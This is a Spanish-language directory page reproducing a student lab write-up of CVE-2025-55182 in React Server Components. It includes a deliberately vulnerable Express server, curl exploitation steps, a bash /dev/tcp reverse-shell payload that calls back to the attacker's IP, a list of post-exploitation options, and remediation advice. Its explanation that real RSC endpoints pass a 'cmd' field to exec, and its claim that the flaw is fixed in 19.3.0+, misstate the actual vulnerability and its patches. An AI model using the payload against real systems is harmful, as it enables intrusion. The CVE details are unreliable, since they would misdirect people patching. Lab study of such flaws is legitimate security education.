Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2025-55182-analysis — Investigación de seguridad y análisis de explotación de CVE-2025-55182 (React) — mapeo de CVSS + OWASP Top 10 | Kitploit
Herramientas/GitHubGitHub/mohamedniane/cve-2025-55182-analysis
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubmohamedniane/cve-2025-55182-analysis

cve-2025-55182-analysis

Investigación de seguridad y análisis de explotación de CVE-2025-55182 (React) — mapeo de CVSS + OWASP Top 10

Ver Repositorio
2hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-55182 — Análisis de RCE en React Server Components

Análisis de vulnerabilidad de aplicación web · M2 Cybersecurity · 2025 Autor: Niane Mohamed · LinkedIn

Cadena de explotación de extremo a extremo de una vulnerabilidad de deserialización insegura crítica (CVSS 10.0) en React Server Components, desde el reconocimiento hasta la ejecución remota de código no autenticada, con una hoja de ruta completa de remediación.


⚠️ Aviso Ético

Esta investigación se dirige a una aplicación de laboratorio deliberadamente vulnerable creada para demostrar el CVE. Todas las pruebas se realizaron en una red virtual aislada, sin conexión con sistemas de producción, datos reales de usuarios ni servicios de terceros.

  • NO ejecutes estas técnicas contra sistemas que no poseas o para los que no cuentes con autorización escrita explícita para realizar pruebas.
  • NO despliegues la aplicación vulnerable en ninguna red accesible desde Internet.
  • Se aplican los principios de divulgación responsable: informa siempre de los hallazgos a través de canales coordinados.

Tabla de contenidos

  1. Vulnerability Summary
  2. Affected Versions
  3. Lab Environment
  4. Exploitation Walkthrough
  5. Impact Assessment
  6. Remediation
  7. Skills Demonstrated

Resumen de la vulnerabilidad

CampoValor
CVECVE-2025-55182
ClaseDeserialización insegura → Ejecución remota de código
CVSS v3.110.0 (Crítico) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Autenticación requeridaNinguna
Interacción del usuario requeridaNinguna
Vector de ataqueRed (remoto)
ComponenteEntorno de ejecución de React Server Components (RSC)

Cómo funciona la vulnerabilidad

React Server Components introdujo un nuevo formato de serialización para transmitir componentes renderizados en el servidor al cliente. En las versiones vulnerables, el endpoint RSC acepta una carga útil JSON con un campo cmd que se pasa sin saneamiento a child_process.exec() como parte de la evaluación del renderizado en el servidor.

Un atacante puede enviar una solicitud POST manipulada que:

  1. Es aceptada como una carga útil RSC legítima (sin autenticación, sin CSRF)
  2. Desencadena la ejecución de código en el servidor durante el «render»
  3. Se ejecuta con los privilegios del proceso Node.js (a menudo root en contenedores)

Versiones afectadas

ComponenteRango vulnerableCorregida en
react19.0.0 → 19.2.019.3.0+
react-server-dom-webpack19.0.0 → 19.2.019.3.0+
react-server-dom-esm19.0.0 → 19.2.019.3.0+

Entorno de laboratorio

RolSOHerramientas
AtacanteKali Linux (última versión)nmap, curl, netcat, OWASP ZAP, Firefox
ObjetivoUbuntu 22.04.4Node.js 18, Express, React 19.0 RSC
RedVMware VMnet Host-OnlySin salida a Internet

Aplicación objetivo

Un servidor mínimo Express + RSC que expone un endpoint /rsc y ejecuta de forma insegura los comandos de la carga útil entrante, reproduciendo de forma controlada el patrón de vulnerabilidad del CVE real:

// server.js — simplified, lab-only
const express = require('express');
const { exec } = require('child_process');

const app = express();
app.use(express.json({ limit: '2mb' }));

app.post('/rsc', (req, res) => {
  const payload = req.body?.payload;
  if (typeof payload?.cmd === 'string') {
    // VULNERABLE: executes attacker-controlled string
    exec(payload.cmd, { timeout: 10000 }, (err, stdout, stderr) => {
      if (err) return res.status(500).json({ error: String(err), stderr });
      return res.json({ ok: true, out: stdout });
    });
  }
});

app.listen(3000);

Guía de explotación

Fase 1 — Reconocimiento

# Port discovery
nmap 192.168.159.131
# → 3000/tcp open  ppp  (Node.js RSC server)

# Service verification
curl -v http://192.168.159.131:3000/
# → HTTP/1.1 200 OK
# → X-Powered-By: Express
# → "Vulnerable RSC-like test server. Use POST /rsc with JSON..."

La cabecera X-Powered-By: Express y el inusual puerto 3000 proporcionan una huella sólida de que se trata de una aplicación Node.js, coherente con los despliegues de RSC.

Fase 2 — Confirmación mediante un comando benigno

Antes de intentar nada destructivo, valida la vulnerabilidad con un comando inofensivo:

curl -X POST http://192.168.159.131:3000/rsc \
  -H "Content-Type: application/json" \
  -d '{ "payload": { "cmd": "id" } }'

# Response:
# {"ok":true,"out":"uid=0(root) gid=0(root) groups=0(root)\n"}

✅ Confirmado: RCE no autenticado como root. El servidor se ejecuta con privilegios sin restricciones.

Fase 3 — Shell inversa

Pasa de la ejecución de un único comando a una shell interactiva completa:

# Listener on attacker machine
nc -lvnp 4444

# Payload delivery
curl -X POST http://192.168.159.131:3000/rsc \
  -H "Content-Type: application/json" \
  -d '{ "payload": { "cmd": "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1\"" } }'

El listener recibe:

connect to [192.168.159.128] from (UNKNOWN) [192.168.159.131] 43980
root@ns1:~/vulnerable_rsc_app# id
uid=0(root) gid=0(root) groups=0(root)

Fase 4 — Potencial de post-explotación (demostrado, no ejecutado)

Con root en el objetivo, un atacante podría trivialmente:

  • Leer /etc/shadow, claves SSH, secretos de la aplicación, archivos .env
  • Instalar persistencia (tareas cron, servicios systemd, implantes de claves SSH)
  • Moverse lateralmente mediante credenciales descubiertas
  • Desplegar criptomineros o ransomware
  • Modificar la aplicación Node.js para capturar silenciosamente los datos de los usuarios

Evaluación del impacto

Impacto empresarial (escenario objetivo ficticio)

EjeImpactoExplicación
ConfidencialidadCríticoAcceso de lectura completo a todos los datos del servidor
IntegridadCríticoCapacidad de modificar el código de la aplicación y los datos de los usuarios
DisponibilidadAltoEl atacante puede terminar el servicio o mantenerlo secuestrado
RegulatorioGraveViolación del RGPD/DSGVO con obligación de notificación en 72 h · posible multa del 4% de la facturación global
ReputacionalGraveUna brecha pública asociada a un CVE daña la confianza de los clientes
FinancieroAltoRespuesta a incidentes, multas regulatorias, posible demanda colectiva

Perfil del actor de amenaza

La baja complejidad de este ataque — sin autenticación, sin interacción del usuario, una única solicitud HTTP — lo hace atractivo para:

  • Escáneres oportunistas (botnets que escanean automáticamente en busca del CVE)
  • Brokers de acceso inicial que venden accesos a grupos de ransomware
  • Actores estatales que atacan a organizaciones que usan renderizado en servidor con React

Remediación

Inmediato (en 24 horas)

  1. Actualiza React a 19.3.0+ — versión parcheada

    npm update react react-server-dom-webpack react-server-dom-esm
    
  2. Regla WAF temporal (si la actualización se retrasa):

    Block POST requests to /rsc with JSON body containing "cmd" field
    
  3. Respuesta a incidentes de emergencia:

    • Revisar los registros de acceso del servidor de los últimos 90 días
    • Buscar tráfico POST inusual hacia /rsc
    • Rotar todos los secretos accesibles desde el servidor
    • Hacer una instantánea del sistema afectado para análisis forense antes de la remediación

A corto plazo (en 2 semanas)

Descargar herramienta